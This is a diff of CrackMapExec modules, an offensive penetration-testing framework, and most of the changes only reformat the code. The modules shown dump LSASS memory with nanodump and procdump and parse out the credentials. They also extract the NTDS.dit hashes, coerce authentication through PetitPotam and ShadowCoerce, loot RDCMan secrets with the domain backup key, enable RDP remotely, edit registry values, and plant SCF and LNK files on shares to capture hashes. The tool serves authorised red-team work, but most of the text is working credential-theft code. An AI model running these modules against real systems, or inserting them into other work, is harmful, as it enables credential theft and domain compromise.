self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
self.context.log.fail(
f"Error deleting lsass.dmp file on share {self.share}: {e}"
)
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
else:
try:
exec_method = MSSQLEXEC(self.connection.conn)
exec_method.get_file(self.tmp_dir + nano_log_name, filename)
self.context.log.success(
f"Dumpfile of lsass.exe was transferred to {filename}"
)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
self.context.log.fail(f"Error while getting file: {e}")
@ -224,13 +194,9 @@ class CMEModule:
try:
self.connection.execute(f"del {self.tmp_dir + nano_log_name}")
self.context.log.success(
f"Deleted lsass.dmp file on the {self.tmp_dir} dir"
)
self.context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir")
except Exception as e:
self.context.log.fail(
f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}"
)
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}")
fh = open(filename, "r+b")
fh.seek(0)
@ -262,32 +228,22 @@ class CMEModule:
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
for cred in getattr(
pypy_parse.logon_sessions[luid], ssp, []
):
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
domain = getattr(cred, "domainname", None)
username = getattr(cred, "username", None)
password = getattr(cred, "password", None)
NThash = getattr(cred, "NThash", None)
if NThash is not None:
NThash = NThash.hex()
if (
username
and (password or NThash)
and "$" not in username
):
if username and (password or NThash) and "$" not in username:
if password:
credtype = "password"
credential = password
else:
credtype = "hash"
credential = NThash
self.context.log.highlight(
f"{domain}\\{username}:{credential}"
)
host_id = self.context.db.get_hosts(
self.connection.host
)[0][0]
self.context.log.highlight(f"{domain}\\{username}:{credential}")
host_id = self.context.db.get_hosts(self.connection.host)[0][0]
self.context.db.add_credential(
credtype,
connection.domain,
@ -295,11 +251,7 @@ class CMEModule:
credential,
pillaged_from=host_id,
)
if (
"." not in domain
and domain.upper()
in self.connection.domain.upper()
):
if "." not in domain and domain.upper() in self.connection.domain.upper():
domain = self.connection.domain
bh_creds.append(
{
@ -308,9 +260,7 @@ class CMEModule:
}
)
if len(bh_creds) > 0:
add_user_bh(
bh_creds, None, self.context.log, self.connection.config
)
add_user_bh(bh_creds, None, self.context.log, self.connection.config)
except Exception as e:
self.context.log.fail(f"Error opening dump file: {e}")
@ -319,6 +269,4 @@ class CMEModule:
self.connection.execute(f"del {self.tmp_dir + self.nano}")
self.context.log.success(f"Deleted nano file on the {self.share} dir")
except Exception as e:
self.context.log.fail(
f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}"
)
self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}")

View File

@ -21,9 +21,7 @@ class CMEModule:
""" """
def on_login(self, context, connection):
user_name = Principal(
connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value
)
user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
tgt_with_pac, cipher, old_session_key, session_key = getKerberosTGT(
user_name,
@ -52,6 +50,4 @@ class CMEModule:
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Ridter/noPac")
except OSError as e:
context.log.debug(
f"Error connecting to Kerberos (port 88) on {connection.host}"
)
context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}")

View File

@ -41,24 +41,14 @@ class CMEModule:
self.no_delete = True
def on_admin_login(self, context, connection):
command = (
"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\""
% (self.tmp_dir, self.dump_location)
)
context.log.display(
"Dumping ntds with ntdsutil.exe to %s%s"
% (self.tmp_dir, self.dump_location)
)
context.log.highlight(
"Dumping the NTDS, this could take a while so go grab a redbull..."
)
command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location))
context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
context.log.debug("Executing command {}".format(command))
p = connection.execute(command, True)
context.log.debug(p)
if "success" in p:
context.log.success(
"NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location)
)
context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location))
else:
context.log.fail("Error while dumping NTDS")
return
@ -69,16 +59,11 @@ class CMEModule:
context.log.display("Copying NTDS dump to %s" % self.dir_result)
context.log.debug("Copy ntds.dit to host")
with open(
os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+"
) as dump_file:
with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file:
try:
connection.conn.getFile(
self.share,
self.tmp_share
+ self.dump_location
+ "\\"
+ "Active Directory\\ntds.dit",
self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit",
dump_file.write,
)
context.log.debug("Copied ntds.dit file")
@ -86,9 +71,7 @@ class CMEModule:
context.log.fail("Error while get ntds.dit file: {}".format(e))
context.log.debug("Copy SYSTEM to host")
with open(
os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+"
) as dump_file:
with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file:
try:
connection.conn.getFile(
self.share,
@ -100,9 +83,7 @@ class CMEModule:
context.log.fail("Error while get SYSTEM file: {}".format(e))
context.log.debug("Copy SECURITY to host")
with open(
os.path.join(self.dir_result, "registry", "SECURITY"), "wb+"
) as dump_file:
with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file:
try:
connection.conn.getFile(
self.share,
@ -116,16 +97,9 @@ class CMEModule:
try:
command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
p = connection.execute(command, True)
context.log.success(
"Deleted %s%s remote dump directory"
% (self.tmp_dir, self.dump_location)
)
context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location))
except Exception as e:
context.log.fail(
"Error deleting {} remote directory on share {}: {}".format(
self.dump_location, self.share, e
)
)
context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e))
localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
bootKey = localOperations.getBootKey()
@ -153,16 +127,12 @@ class CMEModule:
username, _, lmhash, nthash, _, _, _ = hash.split(":")
parsed_hash = ":".join((lmhash, nthash))
if validate_ntlm(parsed_hash):
context.db.add_credential(
"hash", domain, username, parsed_hash, pillaged_from=host_id
)
context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except:
context.log.debug(
"Dumped hash is not NTLM, not adding to db for now ;)"
)
context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
context.log.debug("Dumped hash is a computer account, not adding to db")
@ -187,9 +157,7 @@ class CMEModule:
)
try:
context.log.success(
"Dumping the NTDS, this could take a while so go grab a redbull..."
)
context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
NTDS.dump()
context.log.success(
"Dumped {} NTDS hashes to {} of which {} were added to the database".format(
@ -198,26 +166,15 @@ class CMEModule:
highlight(add_ntds_hash.added_to_db),
)
)
context.log.display(
"To extract only enabled accounts from the output file, run the following command: "
)
context.log.display(
"grep -iv disabled {} | cut -d ':' -f1".format(
connection.output_filename + ".ntds"
)
)
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds"))
except Exception as e:
context.log.fail(e)
NTDS.finish()
if self.no_delete:
context.log.display(
"Raw NTDS dump copied to %s, parse it with:" % self.dir_result
)
context.log.display(
'secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL'
% (self.dir_result, self.dir_result, self.dir_result)
)
context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result)
context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result))
else:
shutil.rmtree(self.dir_result)

View File

@ -44,14 +44,10 @@ class CMEModule:
"lmcompatibilitylevel\x00",
)
except rrp.DCERPCSessionError as e:
context.log.debug(
f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set"
)
context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
if rtype and data and int(data) in [0, 1, 2]:
context.log.highlight(
self.output.format(connection.conn.getRemoteHost(), data)
)
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
except DCERPCSessionError as e:
context.log.debug(f"Error connecting to RemoteRegistry: {e}")
finally:

View File

@ -0,0 +1,33 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class CMEModule:
name = "test"
description = "I do something"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
pass
def on_admin_login(self, context, connection):
"""Concurrent.
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
"""
context.log.info("info")
context.log.display("display")
context.log.success("success")
context.log.highlight("highlight")
context.log.fail("error test")
context.log.fail("fail test")
context.log.debug("debug")

View File

@ -21,9 +21,7 @@ from impacket.uuid import uuidtup_to_bin
class CMEModule:
name = "petitpotam"
description = (
"Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
)
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@ -47,9 +45,7 @@ class CMEModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host
if not connection.kerberos
else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe=self.pipe,
do_kerberos=connection.kerberos,
dc_host=connection.kdcHost,
@ -228,9 +224,7 @@ def coerce(
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
}
rpc_transport = transport.DCERPCTransportFactory(
binding_params[pipe]["stringBinding"]
)
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
@ -281,9 +275,7 @@ def efs_rpc_open_file_raw(dce, listener, context=None):
context.log.info("[+] Attack worked!")
return True
if str(e).find("rpc_s_access_denied") >= 0:
context.log.info(
"[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!"
)
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
context.log.info("[+] OK! Using unpatched function!")
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
try:
@ -296,8 +288,6 @@ def efs_rpc_open_file_raw(dce, listener, context=None):
context.log.info("[+] Attack worked!")
return True
else:
context.log.debug(
"Something went wrong, check error status => %s" % str(e)
)
context.log.debug("Something went wrong, check error status => %s" % str(e))
else:
context.log.debug("Something went wrong, check error status => %s" % str(e))

View File

@ -102,14 +102,10 @@ class CMEModule:
return False
# If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
context.log.highlight(
"Vulnerable, next step https://github.com/ly4k/PrintNightmare"
)
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
raise e
context.log.highlight(
"Vulnerable, next step https://github.com/ly4k/PrintNightmare"
)
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
@ -198,18 +194,10 @@ class DRIVER_INFO_2_BLOB(Structure):
name_len = name.find("\0")
self["Name"] = checkNullString(name[:name_len])
self["ConfigFile"] = data[
self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset
].decode("utf-16-le")
self["DataFile"] = data[
self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset
].decode("utf-16-le")
self["DriverPath"] = data[
self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset
].decode("utf-16-le")
self["Environment"] = data[
self["EnvironmentOffset"] + offset : self["NameOffset"] + offset
].decode("utf-16-le")
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset].decode("utf-16-le")
self["DataFile"] = data[self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset].decode("utf-16-le")
self["DriverPath"] = data[self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset].decode("utf-16-le")
self["Environment"] = data[self["EnvironmentOffset"] + offset : self["NameOffset"] + offset].decode("utf-16-le")
class DRIVER_INFO_2_ARRAY(Structure):

View File

@ -59,19 +59,11 @@ class CMEModule:
with open(self.procdump_path + self.procdump, "wb") as procdump:
procdump.write(self.procdump_embeded)
context.log.display(
"Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir)
)
context.log.display("Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir))
with open(self.procdump_path + self.procdump, "rb") as procdump:
try:
connection.conn.putFile(
self.share, self.tmp_share + self.procdump, procdump.read
)
context.log.success(
"Created file {} on the \\\\{}{}".format(
self.procdump, self.share, self.tmp_share
)
)
connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read)
context.log.success("Created file {} on the \\\\{}{}".format(self.procdump, self.share, self.tmp_share))
except Exception as e:
context.log.fail(f"Error writing file to share {self.share}: {e}")
@ -80,15 +72,7 @@ class CMEModule:
context.log.display("Getting lsass PID {}".format(command))
p = connection.execute(command, True)
pid = p.split(",")[1][1:-1]
command = (
self.tmp_dir
+ self.procdump
+ " -accepteula -ma "
+ pid
+ " "
+ self.tmp_dir
+ "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
)
command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
context.log.display("Executing command {}".format(command))
p = connection.execute(command, True)
context.log.debug(p)
@ -113,38 +97,22 @@ class CMEModule:
with open(self.dir_result + machine_name, "wb+") as dump_file:
try:
connection.conn.getFile(
self.share, self.tmp_share + machine_name, dump_file.write
)
context.log.success(
"Dumpfile of lsass.exe was transferred to {}".format(
self.dir_result + machine_name
)
)
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success("Dumpfile of lsass.exe was transferred to {}".format(self.dir_result + machine_name))
except Exception as e:
context.log.fail("Error while get file: {}".format(e))
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success(
"Deleted procdump file on the {} share".format(self.share)
)
context.log.success("Deleted procdump file on the {} share".format(self.share))
except Exception as e:
context.log.fail(
"Error deleting procdump file on share {}: {}".format(self.share, e)
)
context.log.fail("Error deleting procdump file on share {}: {}".format(self.share, e))
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(
"Deleted lsass.dmp file on the {} share".format(self.share)
)
context.log.success("Deleted lsass.dmp file on the {} share".format(self.share))
except Exception as e:
context.log.fail(
"Error deleting lsass.dmp file on share {}: {}".format(
self.share, e
)
)
context.log.fail("Error deleting lsass.dmp file on share {}: {}".format(self.share, e))
with open(self.dir_result + machine_name, "rb") as dump:
try:
@ -167,28 +135,17 @@ class CMEModule:
]
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
for cred in getattr(
pypy_parse.logon_sessions[luid], ssp, []
):
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
domain = getattr(cred, "domainname", None)
username = getattr(cred, "username", None)
password = getattr(cred, "password", None)
NThash = getattr(cred, "NThash", None)
if NThash is not None:
NThash = NThash.hex()
if (
username
and (password or NThash)
and "$" not in username
):
if username and (password or NThash) and "$" not in username:
print_pass = password if password else NThash
context.log.highlight(
domain + "\\" + username + ":" + print_pass
)
if (
"." not in domain
and domain.upper() in connection.domain.upper()
):
context.log.highlight(domain + "\\" + username + ":" + print_pass)
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append(
{

View File

@ -12,9 +12,7 @@ from cme.helpers.logger import highlight
class CMEModule:
name = "rdcman"
description = (
"Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
)
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@ -64,9 +62,7 @@ class CMEModule:
dc_conn.connect()
if dc_conn.is_admin:
context.log.success(
"User is Domain Administrator, exporting domain backupkey..."
)
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
@ -96,16 +92,8 @@ class CMEModule:
context.log.debug("Could not upgrade connection: {}".format(e))
return
plaintexts = {
username: password
for _, _, username, password, _, _ in context.db.get_credentials(
cred_type="plaintext"
)
}
nthashes = {
username: nt.split(":")[1] if ":" in nt else nt
for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")
}
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
@ -128,11 +116,7 @@ class CMEModule:
context.log.fail("No masterkeys looted")
return
context.log.success(
"Got {} decrypted masterkeys. Looting RDCMan secrets".format(
highlight(len(self.masterkeys))
)
)
context.log.success("Got {} decrypted masterkeys. Looting RDCMan secrets".format(highlight(len(self.masterkeys))))
try:
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)

View File

@ -62,9 +62,7 @@ class CMEModule:
0,
)
rtype, data = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00"
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00")
if int(data) == 0:
context.log.success("RDP enabled successfully")
@ -97,9 +95,7 @@ class CMEModule:
1,
)
rtype, data = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00"
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00")
if int(data) == 1:
context.log.success("RDP disabled successfully")

View File

@ -64,25 +64,17 @@ class CMEModule:
try:
self.value = int(self.value)
except:
context.log.fail(
f"Invalid registry value type specified: {self.value}"
)
context.log.fail(f"Invalid registry value type specified: {self.value}")
return
if self.type in type_dict:
self.type = type_dict[self.type]
else:
context.log.fail(
f"Invalid registry value type specified: {self.type}"
)
context.log.fail(f"Invalid registry value type specified: {self.type}")
return
else:
self.type = 1
if (
module_options
and "DELETE" in module_options
and module_options["DELETE"].lower() == "true"
):
if module_options and "DELETE" in module_options and module_options["DELETE"].lower() == "true":
self.delete = True
def on_admin_login(self, context, connection):
@ -108,46 +100,32 @@ class CMEModule:
self.path = self.path.replace("HKCR\\", "")
ans = rrp.hOpenClassesRoot(remote_ops._RemoteOperations__rrp)
else:
self.context.log.fail(
f"Unsupported registry hive specified in path: {self.path}"
)
self.context.log.fail(f"Unsupported registry hive specified in path: {self.path}")
return
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp, reg_handle, self.path
)
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, self.path)
key_handle = ans["phkResult"]
if self.delete:
# Delete registry
try:
# Check if value exists
data_type, reg_value = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp, key_handle, self.key
)
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
except:
self.context.log.fail(f"Registry key {self.key} does not exist")
return
# Delete value
rrp.hBaseRegDeleteValue(
remote_ops._RemoteOperations__rrp, key_handle, self.key
)
self.context.log.success(
f"Registry key {self.key} has been deleted successfully"
)
rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
self.context.log.success(f"Registry key {self.key} has been deleted successfully")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
if self.value is not None:
# Check if value exists
try:
# Check if value exists
data_type, reg_value = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp, key_handle, self.key
)
self.context.log.highlight(
f"Key {self.key} exists with value {reg_value}"
)
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
self.context.log.highlight(f"Key {self.key} exists with value {reg_value}")
# Modification
rrp.hBaseRegSetValue(
remote_ops._RemoteOperations__rrp,
@ -156,9 +134,7 @@ class CMEModule:
self.type,
self.value,
)
self.context.log.success(
f"Key {self.key} has been modified to {self.value}"
)
self.context.log.success(f"Key {self.key} has been modified to {self.value}")
except:
rrp.hBaseRegSetValue(
remote_ops._RemoteOperations__rrp,
@ -167,16 +143,12 @@ class CMEModule:
self.type,
self.value,
)
self.context.log.success(
f"New Key {self.key} has been added with value {self.value}"
)
self.context.log.success(f"New Key {self.key} has been added with value {self.value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
else:
# Query
try:
data_type, reg_value = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp, key_handle, self.key
)
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
self.context.log.highlight(f"{self.key}: {reg_value}")
except:
if self.delete:
@ -186,9 +158,7 @@ class CMEModule:
return
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.fail(
f"DCERPC Error while querying or modifying registry: {e}"
)
self.context.log.fail(f"DCERPC Error while querying or modifying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying or modifying registry: {e}")
finally:

View File

@ -16,9 +16,7 @@ from ldap3 import LEVEL
def get_dns_zones(connection, root, debug=False):
connection.search(
root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"]
)
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry["type"] != "searchResEntry":
@ -40,11 +38,7 @@ def get_dns_resolver(server, context):
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except socket.error:
context.info(
"Using System DNS to resolve unknown entries. Make sure resolving your"
" target domain works here or specify an IP as target host to use that"
" server for queries"
)
context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries")
return dnsresolver
@ -114,10 +108,7 @@ class CMEModule:
else:
print("Could not parse ONLY_HOSTS option.")
if module_options and "ONLY_HOSTS" in module_options:
if (
module_options["ONLY_HOSTS"].lower() == "true"
or module_options["ONLY_HOSTS"] == "1"
):
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
else:
print("Could not parse ONLY_HOSTS option.")
@ -138,10 +129,7 @@ class CMEModule:
)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug(
"sizeLimitExceeded exception caught, giving up and processing the"
" data received"
)
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
list_sites = e.getAnswers()
@ -165,10 +153,7 @@ class CMEModule:
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
if dr["Type"] == 1:
address = DNS_RPC_RECORD_A(dr["Data"])
if (
str(recordname) != "DomainDnsZones"
and str(recordname) != "ForestDnsZones"
):
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
@ -176,16 +161,9 @@ class CMEModule:
"value": address.formatCanonical(),
}
)
if dr["Type"] in [
a
for a in RECORD_TYPE_MAPPING
if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]
]:
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
if (
str(recordname) != "DomainDnsZones"
and str(recordname) != "ForestDnsZones"
):
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
@ -195,10 +173,7 @@ class CMEModule:
)
elif dr["Type"] == 28:
address = DNS_RPC_RECORD_AAAA(dr["Data"])
if (
str(recordname) != "DomainDnsZones"
and str(recordname) != "ForestDnsZones"
):
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
@ -208,31 +183,18 @@ class CMEModule:
)
context.log.highlight("Found %d records" % len(outdata))
path = expanduser(
"~/.cme/logs/{}_network_{}.log".format(
connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")
)
)
path = expanduser("~/.cme/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
with codecs.open(path, "w", "utf-8") as outfile:
for row in outdata:
if self.showhosts:
outfile.write("{}\n".format(row["name"] + "." + connection.domain))
elif self.showall:
outfile.write(
"{} \t {}\n".format(
row["name"] + "." + connection.domain, row["value"]
)
)
outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"]))
else:
outfile.write("{}\n".format(row["value"]))
context.log.success("Dumped {} records to {}".format(len(outdata), path))
if not self.showall and not self.showhosts:
context.log.display(
"To extract CIDR from the {} ip, run the following command: cat"
" your_file | mapcidr -aa -silent | mapcidr -a -silent".format(
len(outdata)
)
)
context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
class DNS_RECORD(Structure):
@ -414,8 +376,6 @@ class DNS_RPC_RECORD_TS(Structure):
def toDatetime(self):
microseconds = int(self["entombedTime"] / 10)
try:
return datetime.datetime(1601, 1, 1) + datetime.timedelta(
microseconds=microseconds
)
return datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=microseconds)
except OverflowError:
return None

View File

@ -70,23 +70,13 @@ class CMEModule:
if not self.cleanup:
with open(self.scf_path, "rb") as scf:
try:
connection.conn.putFile(
share["name"], self.file_path, scf.read
)
context.log.success(
f"Created SCF file on the {share['name']} share"
)
connection.conn.putFile(share["name"], self.file_path, scf.read)
context.log.success(f"Created SCF file on the {share['name']} share")
except Exception as e:
context.log.fail(
f"Error writing SCF file to share {share['name']}: {e}"
)
context.log.fail(f"Error writing SCF file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(
f"Deleted SCF file on the {share['name']} share"
)
context.log.success(f"Deleted SCF file on the {share['name']} share")
except Exception as e:
context.log.fail(
f"Error deleting SCF file on share {share['name']}: {e}"
)
context.log.fail(f"Error deleting SCF file on share {share['name']}: {e}")

View File

@ -45,9 +45,7 @@ class CMEModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host
if not connection.kerberos
else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
@ -64,9 +62,7 @@ class CMEModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host
if not connection.kerberos
else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe="FssagentRpc",
)
@ -86,9 +82,7 @@ class CMEModule:
if result:
context.log.highlight("VULNERABLE")
context.log.highlight(
"Next step: https://github.com/ShutdownRepo/ShadowCoerce"
)
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
else:
context.log.debug("Target not vulnerable to ShadowCoerce")
@ -211,9 +205,7 @@ class CoerceAuth:
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
},
}
rpctransport = transport.DCERPCTransportFactory(
binding_params[pipe]["stringBinding"]
)
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
dce = rpctransport.get_dce_rpc()
if hasattr(rpctransport, "set_credentials"):
@ -266,9 +258,7 @@ class CoerceAuth:
dce.request(request)
except Exception as e:
cme_logger.debug("Something went wrong, check error status => %s", str(e))
cme_logger.debug(
"Attack may of may not have worked, check your listener..."
)
cme_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True
@ -283,9 +273,7 @@ class CoerceAuth:
dce.request(request)
except Exception as e:
cme_logger.debug("Something went wrong, check error status => %s", str(e))
cme_logger.debug(
"Attack may of may not have worked, check your listener..."
)
cme_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True

View File

@ -69,23 +69,13 @@ class CMEModule:
if not self.cleanup:
with open(self.lnk_path, "rb") as lnk:
try:
connection.conn.putFile(
share["name"], self.file_path, lnk.read
)
context.log.success(
f"Created LNK file on the {share['name']} share"
)
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(
f"Error writing LNK file to share {share['name']}: {e}"
)
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(
